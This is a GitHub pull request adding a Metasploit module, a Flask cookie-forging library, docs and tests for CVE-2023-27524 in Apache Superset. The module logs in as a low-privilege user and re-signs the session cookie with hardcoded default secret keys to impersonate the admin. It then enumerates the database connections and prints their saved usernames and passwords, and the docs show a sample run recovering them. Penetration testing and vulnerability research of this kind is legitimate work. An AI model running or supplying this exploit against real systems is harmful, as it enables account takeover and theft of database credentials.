Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library #18180

Merged
merged 19 commits into from
Sep 12, 2023
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
94 changes: 94 additions & 0 deletions documentation/modules/auxiliary/gather/apache_superset_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@

## Vulnerable Application

Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.

## App Install

```
sudo docker run -p 8088:8088 -name superset apache/superset:2.0.0
sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email [email protected] \
--password admin

sudo docker exec -it superset superset db upgrade
sudo docker exec -it superset superset init
```

Login to the app, click 'list users' under 'Settings', then click '+'. make a new user with 'public' as the permission level.
h00die marked this conversation as resolved.
Show resolved Hide resolved

If you want any database credentials to be pulled, you'll need to configure a database as well.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get an admin cookie and the database credentials

## Options

### USERNAME

The username to authenticate as. Required with no default.

### PASSWORD

The password for the specified username. Required with no default.


### ADMIN_ID

The ID of an admin account. Defaults to `1`

## Scenarios

### Superset 2.0.0 Docker image

```
msf6 > use auxiliary/gather/apache_superset_priv_esc
msf6 auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/apache_superset_priv_esc) > set username user
username => user
msf6 auxiliary(gather/apache_superset_priv_esc) > set password user
password => user
msf6 auxiliary(gather/apache_superset_priv_esc) > set verbose true
verbose => true
msf6 auxiliary(gather/apache_superset_priv_esc) > run
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 127.0.0.1:8088 - CSRF Token: ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYi.ZK2qOQ.c-LssFFTxWJKoQZ7v1Sex8q-xy0
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZDY0MGYzZGVlNzJiMDkzMWIwMTgyMzBhYjg3ZDE3NjU0ZjRlMGZlZiIsImxvY2FsZSI6ImVuIn0.ZK2qOQ.oXIWtpT7OItq7Vmr-00Prtl4Pmg;
[*] 127.0.0.1:8088 - Decoded Cookie: {"csrf_token"=>"d640f3dee72b0931b018230ab87d17654f4e0fef", "locale"=>"en"}
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwlj0tqAzEQRO-itRf9G7XalxkkdTc2MTbM2KuQu0chy6Io6r3vsucR561c38cnLmW_e7mWMKE-qmR3UcdB0LB2EczOSC6VeCNBowruSYxjNdswtOnNY3BuuuG0VodSotpMVuzk6AlCDUcqayoYpIu3ZgLAjad1q4xRLmWeR-7v11c8F49XgWSPUBpg6w6wEUMfbdFp3SQlICPX7vGa_RF_Ds-VPmcc_0pUfn4BrnVCHw.ZK2qOQ.SCiqOSW_PTP9VPz2CfG_2IZmHyI;
[*] 127.0.0.1:8088 - Modified cookie: {"_fresh"=>true, "_id"=>"e942ab64fad47d1b20816a441fa312d462352419260ddf231b1fa5b919cd8deb3f5751c986b72f179cf371a2d1df04281bf737f7090fd4d889400383c9a9631e", "csrf_token"=>"d640f3dee72b0931b018230ab87d17654f4e0fef", "locale"=>"en", "user_id"=>1}
[*] Attempting to resign with key: thisismyscretkey\e\y\y\h
[*] 127.0.0.1:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImU5NDJhYjY0ZmFkNDdkMWIyMDgxNmE0NDFmYTMxMmQ0NjIzNTI0MTkyNjBkZGYyMzFiMWZhNWI5MTljZDhkZWIzZjU3NTFjOTg2YjcyZjE3OWNmMzcxYTJkMWRmMDQyODFiZjczN2Y3MDkwZmQ0ZDg4OTQwMDM4M2M5YTk2MzFlIiwiY3NyZl90b2tlbiI6ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZK2qOQ.fv4N_O6m35thR0PFpOdy7E8MA_Y
[-] 127.0.0.1:8088 - Cookie not accepted
[*] Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImU5NDJhYjY0ZmFkNDdkMWIyMDgxNmE0NDFmYTMxMmQ0NjIzNTI0MTkyNjBkZGYyMzFiMWZhNWI5MTljZDhkZWIzZjU3NTFjOTg2YjcyZjE3OWNmMzcxYTJkMWRmMDQyODFiZjczN2Y3MDkwZmQ0ZDg4OTQwMDM4M2M5YTk2MzFlIiwiY3NyZl90b2tlbiI6ImQ2NDBmM2RlZTcyYjA5MzFiMDE4MjMwYWI4N2QxNzY1NGY0ZTBmZWYiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZK2qOQ.XIvqgEv_nviSivPJjE73KOWKMEI
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[+] Found mysql database exampledb: root:[email protected]:3306
[*] Done enumerating databases
[*] Auxiliary module execution completed
msf6 auxiliary(gather/apache_superset_priv_esc) > creds
Credentials
===========

host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.222.3.444 111.222.3.444 3306/tcp (mysql) root my-secret-pw Password
```
78 changes: 78 additions & 0 deletions lib/msf/core/exploit/remote/http/flask_unsign.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
require 'base64'
require 'json'
require 'openssl'
require 'zlib'

module Msf
class Exploit
class Remote
module HTTP
module FlaskUnsign
# This module is a ruby implementation of https://github.com/Paradoxis/Flask-Unsign which can be used to
# decode, and re-sign cookies

def self.base64_encode(value)
Base64.urlsafe_encode64(value).gsub(/=+$/, '')
end

class Signer
def initialize(secret_key, salt)
@secret_key = secret_key
@salt = salt
end

def derive_key
hmac = OpenSSL::HMAC.new(@secret_key, OpenSSL::Digest.new('SHA1'))
hmac.update(@salt)
hmac.digest
end

def get_signature(value)
hmac = OpenSSL::HMAC.new(derive_key, OpenSSL::Digest.new('SHA1'))
hmac.update(value)
FlaskUnsign.base64_encode(hmac.digest)
end
end

class TimestampSigner < Signer
SEPARATOR = '.'

def get_timestamp
Time.now.to_f
end

def timestamp_to_datetime(ts)
Time.at(ts)
end

def sign(value)
timestamp = [get_timestamp].pack('Q>')
timestamp.delete_prefix!("\x00") while timestamp.start_with?("\x00")
timestamp = FlaskUnsign.base64_encode(timestamp)
value = value + SEPARATOR + timestamp
value + SEPARATOR + get_signature(value)
end
end

module Session
def self.decode(value)
compressed = value.start_with?('.')
value = value[1..] if compressed

value = value.split('.', 2).first
value = Base64.urlsafe_decode64(value)
value = Zlib::Inflate.inflate(value) if compressed
JSON.parse(value)
end

def self.sign(value, secret, salt: 'cookie-session')
json = JSON.dump(value)
signer = TimestampSigner.new(secret, salt)
signer.sign(FlaskUnsign.base64_encode(json).strip)
end
end
end
end
end
end
end
181 changes: 181 additions & 0 deletions modules/auxiliary/gather/apache_superset_priv_esc.rb
h00die marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
@@ -0,0 +1,181 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::FlaskUnsign
h00die marked this conversation as resolved.
Show resolved Hide resolved
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Superset Signed Cookie Priv Esc',
'Description' => %q{
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.
},
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'zeroSteiner', # MSF flask-unsign library
h00die marked this conversation as resolved.
Show resolved Hide resolved
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
['EDB', '51447'],
['CVE', '2023-27524' ],
],
'License' => MSF_LICENSE,
'Actions' => [
[ 'Sign Cookie', { 'Description' => 'Attempts to login to the site, then change the cookie value' } ],
h00die marked this conversation as resolved.
Show resolved Hide resolved
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'Sign Cookie',
'DisclosureDate' => '2023-04-25'
)
)
register_options(
[
Opt::RPORT(8088),
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
]
)
end

def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login')
})
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
unless res.body =~ /&#34;version_string&#34;: &#34;([\d.]+)&#34;/
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
end

version = Rex::Version.new(Regexp.last_match(1))
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
Exploit::CheckCode::Vulnerable("Apache Supset #{version} is vulnerable")
h00die marked this conversation as resolved.
Show resolved Hide resolved
else
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
end
end

def valid_cookie(decoded_cookie)
[
"\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h", # version < 1.4.1
'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
'thisISaSECRET_1234', # deployment template
'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
'TEST_NON_DEV_SECRET' # docker compose
].each do |secret|
print_status("Attempting to resign with key: #{secret}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
next
end
data = JSON.parse(res.body)
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
h00die marked this conversation as resolved.
Show resolved Hide resolved
return encoded_cookie
end
end

def run
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200

fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/

csrf_token = Regexp.last_match(1)
vprint_status("#{peer} - CSRF Token: #{csrf_token}")
cookie = res.get_cookies.to_s
print_status("#{peer} - Initial Cookie: #{cookie}")
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
print_status("#{peer} - Attempting login")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'keep_cookies' => true,
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'csrf_token' => csrf_token
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
cookie = res.get_cookies.to_s
print_good("#{peer} - Logged in Cookie: #{cookie}")
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
decoded_cookie['user_id'] = datastore['ADMIN_ID']
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
admin_cookie = valid_cookie(decoded_cookie)

fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?
(1..101).each do |i|
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),
'cookie' => "session=#{admin_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401 || res.code == 404
print_status('Done enumerating databases')
break
end
result_json = res.get_json_document
db_name = result_json['result']['parameters']['database']
db_type = result_json['result']['backend']
db_host = result_json['result']['parameters']['host']
db_port = result_json['result']['parameters']['port']
db_pass = result_json['result']['parameters']['password']
db_user = result_json['result']['parameters']['username']
if framework.db.active
create_credential_and_login({
address: db_host,
port: db_port,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: db_type,
username: db_user,
private_type: :password,
private_data: db_pass,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
})
end
print_good("Found #{db_type} database #{db_name}: #{db_user}:#{db_pass}@#{db_host}:#{db_port}")
h00die marked this conversation as resolved.
Show resolved Hide resolved
end
end
end
30 changes: 30 additions & 0 deletions spec/lib/msf/core/exploit/remote/http/flask_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
require 'spec_helper'

RSpec.describe Msf::Exploit::Remote::HTTP::FlaskUnsign do
subject do
mod = Msf::Exploit.new
mod.extend(Msf::Exploit::Remote::HTTP::FlaskUnsign)
mod
end

describe '#flask_unsign' do
context 'correctly decodes cookie' do
it 'returns a hash' do
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA')).to eql({ 'hello' => 'world' })
end

# derived from logged in session from Apache Supserset
it 'returns a hash from complex dict' do
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('.eJwlj0GKAzEMBP-i8xwsW7alfGawZIkNGTYwk5yW_D2GvTZdVPcf7HH69QO31_n2Dfb7hBvwrBJRJ3OTUM29GI6SI4tN9MpC2IWmo4Ya9qxVjVJNI880syOpWmPX1oxXLYdOSVlKipXhHJHqcNEWrNSJkbtx71gGIkVIwAZ2nbG_ng__XXuWl1JwNBStXRNr8UZqA6M39aXiImi4uONp4_DFLHCD9-Xn_yWEzxfWdkQs.ZKXFig.tOBl4_CxT7zWg3EaZZNce7NP4rc')).to eql({"_fresh"=>true, "_id"=>"8d59ff5d8869fbb273c1a32f29cd1e58941794de1bfbc172b5bc4050a2d0d2e14bbc68eb66c84de2fbd902930feb61daf05ae9b6f8b4748187c87713a114ff9f", "csrf_token"=>"29c40f8f619b57b08b3e64bca1f76be68e8391c1", "locale"=>"en", "user_id"=>"1"})
end
end

context 'correctly signs decoded cookie' do
it 'returns a cookie string' do
@freezed_time = Time.utc(2023, 7, 10, 12, 0, 0)
allow(Time).to receive(:now).and_return(@freezed_time)
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ 'hello' => 'world' }, 'CHANGEME')).to eql('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS164')
end
end
end
end